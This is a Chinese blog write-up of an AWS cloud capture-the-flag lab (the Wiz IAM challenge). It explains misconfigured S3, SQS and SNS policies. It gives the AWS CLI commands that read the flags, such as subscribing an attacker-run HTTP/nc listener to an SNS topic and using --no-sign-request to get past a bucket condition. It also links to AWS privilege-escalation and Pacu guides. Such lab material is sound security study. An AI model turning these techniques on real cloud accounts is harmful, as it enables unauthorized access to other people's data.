aws云靶场和一些杂记

devtools/2024/10/22 14:37:42/

aws_0">aws靶场

在AWS靶场中,存在三个安全问题:1) 一个S3存储桶政策配置错误,允许公共访问,通过访问特定域名可获取flag。2) SQS消息队列的政策没有限制角色,允许发送和接收消息,通过aws sqs命令行工具的receive-message接口最终找到flag。3) SNS主题订阅政策过于开放,允许任意Endpoint订阅,使用HTTP协议订阅并结合AWS CLI的sns confirm-subscription命令获取完整响应,从而得到flag。最后一个挑战涉及存储桶的IAM策略,通过aws s3api命令的list-objects接口,利用无签名请求绕过权限限制访问flag。

存储桶泄露

查看第一个policy给出了这个问题,可以允许列出桶的权限,注意看Principal 这里没有限制具体的访问角色,这里的*代表互联网所有人都可以访问的意思,公开桶。

img

使用s3的命令行,其实可以获取到,可以通过其他命令复制出来,aws好像是没办法直接查看内容的

img

想直接查看内容的话,可以直接把resource提供的域名直接拼接到aws的域名上amazonaws.com ,见此,flag已经出来了,可以下一关

img

SQS消息队列

查看第二个的policy如箭头所示,没有限制具体的角色,而且允许sqs进行发消息和接收消息

img

通过阅读官方文章,sqs这块,有这么多个接口可以搞,但是注意,这块我们的权限只有send和receive

https://docs.aws.amazon.com/cli/latest/reference/sqs/send-message.html

img

根据文档上的构造,那么应该是把092297851374 和 wiz-tbic-analytics-sqs-queue-ca7a1b2进行拼接

img

aws sqs send-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

构造好的请求直接发包,发现抱错了

img

还需要–message-body,那继续添加随便加上111,但是返回来的json没有flag值。那么只能从rece接收信息的参数入手了

img

继续查看官网文档,receive-message构造例子如下,有的参数是不必须的得在测试中得到真理

img

构造后进行请求,获得的响应内容多了,有个很明显的链接,访问就是flag了。

aws sqs receive-message --queue-url https://sqs.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 

img

SNS托管式消息传递服务

SNS和SQS的区别:

  • SNS: SNS 是一种发布/订阅模型,其中消息发布到一个主题(Topic),然后所有订阅了该主题的终端(如应用程序、服务、端点等)都会接收到相同的消息。主题允许多个订阅者并支持广播和多播。
  • SQS: SQS 是一种队列模型,其中消息被发送到队列,然后由队列的消费者(订阅者)按照顺序处理。每条消息只能由一个消费者接收,确保消息按照顺序处理。

了解了sns的基本含义之后,我们来看题目给的policy

img

  • Action: 定义允许执行的操作,这里是 “SNS:Subscribe”,表示允许订阅 SNS 主题。
  • Resource: 定义操作作用的资源,这里是 “arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications”,表示允许对指定 SNS 主题执行订阅操作。
  • Condition: 是一个可选的部分,定义允许或拒绝操作的条件。在这里,使用了 “StringLike” 条件,要求 “sns:Endpoint” 的值符合 “*@tbic.wiz.io” 这个模式。

还是老样子,我们查看官方的文档

img

那么其实sns里面有protocol参数,可以指定http请求

img

那么subscribe权限下,获取http订阅消息的cli参数命令示例如下

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:123456789012:MyTopic \--protocol http \--notification-endpoint http://example.com/endpoint

把题目给的参数带上发送请求

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \--protocol http \--notification-endpoint http://xxx:8089/@tbic.wiz.io

img

对应自己的服务器起了http服务,但是虽然能获取到响应,但是没办法获取更多的响应信息

img

琢磨了一段时间发现用tcp起端口,nc就可以获取所有响应信息了。但是这段信息里面,是没有flag的,

img

但是给过来的响应,已经提示了To confirm the subscription, visit the SubscribeURL included in this message

img

那么查阅文档后才知道确认消息的具体格式,也可以使用 aws sns confirm-subscription 命令来手动确认订阅,提供确认消息中的 Token:

aws sns confirm-subscription --topic-arn YOUR-TOPIC-ARN --token YOUR-SUBSCRIPTION-TOKEN

aws sns confirm-subscription --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --token 2336412f37fb687f5d51e6e2425c464ced460311901b18ad7c9bd3425561759e0bc3078a08b110692b8d11f962a2f83a2a0ff5067a20d9fc029a1d03eae63ce14c57cad0caeeabdf819036410bcf82b8fb95b2d2191762491329cae004ef65d7018b0c08e0a59abfff27ddabd67bd391c0f3c9fe7f6b172bac94f2f7c5eab424

虽然爆红了,说权限不够,但是还是可以收到sns发过来订阅的消息

img

在nc这边监听,获取到的message就是flag了

img

存储桶错误配置

在下面的policy可以知道,存储桶thebigiamchallenge-admin-storage-abf1321允许的操作是GetObject和ListBucket,但是"ForAllValues:StringLike"这块只允许arn:aws:iam::133713371337:user/admin 才能访问

img

这块其实想了很久,一直没有办法突破。因为没有办法绕过PrincipalArn的限制,最后是查阅官网文档:如果请求中没有上下文键或者上下文键值解析为空数据集(如空字符串),则也会返回 true

https://docs.aws.amazon.com/zh_cn/IAM/latest/UserGuide/reference_policies_condition-single-vs-multi-valued-context-keys.html

img

那么让上下文键值为空的话,查阅s3api的文档,可以带上–no-sign-request

img

发送请求,我们可以获取到flag了

aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --pre
fix 'files/' --no-sign-request

img

关于存储桶这块,我得记录一下 aws s3和aws s3api的区别 应该就是s3用的ak sk,s3api用的是sts token

记录的链接

aws_199">aws相关链接

https://rzepsky.medium.com/aws-and-hackerone-ctf-write-up-4c37131f7cbb

https://www.hackthebox.com/blog/aws-pentesting-guide#common_aws_penetration_testing_techniques_within_an_attack_path

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-01/

https://mystic0x1.github.io/posts/AWS-Privilege-Escalation-Part-02/

https://github.com/BishopFox/iam-vulnerable

https://github.com/andresriancho/enumerate-iam

https://github.com/ine-labs/AWSGoat 靶场

https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/ 外国佬的知识

https://mp.weixin.qq.com/s/j8PNLwDAyoSidtuNWnYsMQ 利用AWS Lambda函数漏洞实现初始访问

下载对应的cli工具

https://aws.amazon.com/cn/cli/

/.aws/credentials

img

AWS漏洞利用框架Pacu

https://www.freebuf.com/sectool/190074.html

img

img

aws ssrf+cicd流程 rce 值得回味!

https://zone.huoxian.cn/d/1303-aws-elastic-beanstalk-ssrfrce

aws 攻击笔记大全

https://wiki.teamssix.com/CloudService/IAM/

aws中的iam是什么

img

其他


http://www.ppmy.cn/devtools/6240.html

相关文章

机器学习周报第35周SE-LSTM

文章目录 week35 SE-LSTM摘要Abstract一、文献阅读1. 题目2. abstract3. 网络架构3.1 Savitsky-Golay 滤波器3.2 模型结构——SE-LSTM 4. 文献解读4.1 Introduction4.2 创新点4.3 实验过程4.3.1 训练参数4.3.2 数据集4.3.3 实验设置4.3.4 实验结果 5. python环境下基于scipy实现…

李沐47_转置卷积

转置卷积 1.卷积不会增大输入的高宽,要么不变,要么减半 2.转置卷积可以用来增大输入高宽 3.用id卷积卷,增大卷积核的数量可以达到增大特征图的目的 import torch from torch import nn from d2l import torch as d2l输入矩阵X和卷积核矩阵…

利用 Python 开发手机 App 实战

Python语言虽然很万能,但用它来开发app还是显得有点不对路,因此用Python开发的app应当是作为编码练习、或者自娱自乐所用,加上目前这方面的模块还不是特别成熟,bug比较多,总而言之,劝君莫轻入。 准备工作 …

kafka实验部署

一、前期准备 二、kafka实验 在zookeeper后继续进行操作 2.1 为ndoe1、node2、node3作出部署 2.1.1 解压kafka压缩包(node1举例) 2.1.2 操作 将解压后的kafka移动到kafka,进入到kafka下的config中,复制文件 2.1.2.1 编辑server.pr…

【Qt】探索Qt框架:跨平台GUI开发的利器

文章目录 1. Qt框架概述1.1. Qt框架的优点1.2. Qt框架支持的系统1.3. Qt开发环境 2. 搭建 Qt 开发环境2.1. Qt SDK 的下载和安装2.2. 新建项目: 3. Qt 框架内容简介总结 在当今软件开发领域,跨平台性和用户界面的友好性是至关重要的。而Qt框架作为一款跨平台的C图形…

代码随想录算法训练营第四十八天|leetcode72、583题

一、leetcode第583题 本题要求删除两个单词中的字母使得剩余字母均相同,因此设置dp数组,dp[i][j]的含义是0-(i-1)个字母和0-(j-1)个字母相同时需要删除的最少次数。递推公式在word1[i-1]word2[j-1]时&…

浏览器工作原理与实践--HTTPS:让数据传输更安全

浏览器安全主要划分为三大块内容:页面安全、系统安全和网络安全。前面我们用四篇文章介绍了页面安全和系统安全,也聊了浏览器和Web开发者是如何应对各种类型的攻击,本文是我们专栏的最后一篇,我们就接着来聊聊网络安全协议HTTPS。…

探索设计模式的魅力:开启智慧之旅,AI与机器学习驱动的微服务设计模式探索

​🌈 个人主页:danci_ 🔥 系列专栏:《设计模式》 💪🏻 制定明确可量化的目标,坚持默默的做事。 ✨欢迎加入探索AI与机器学习驱动的微服务设计模式之旅✨ 亲爱的科技爱好者们,有没…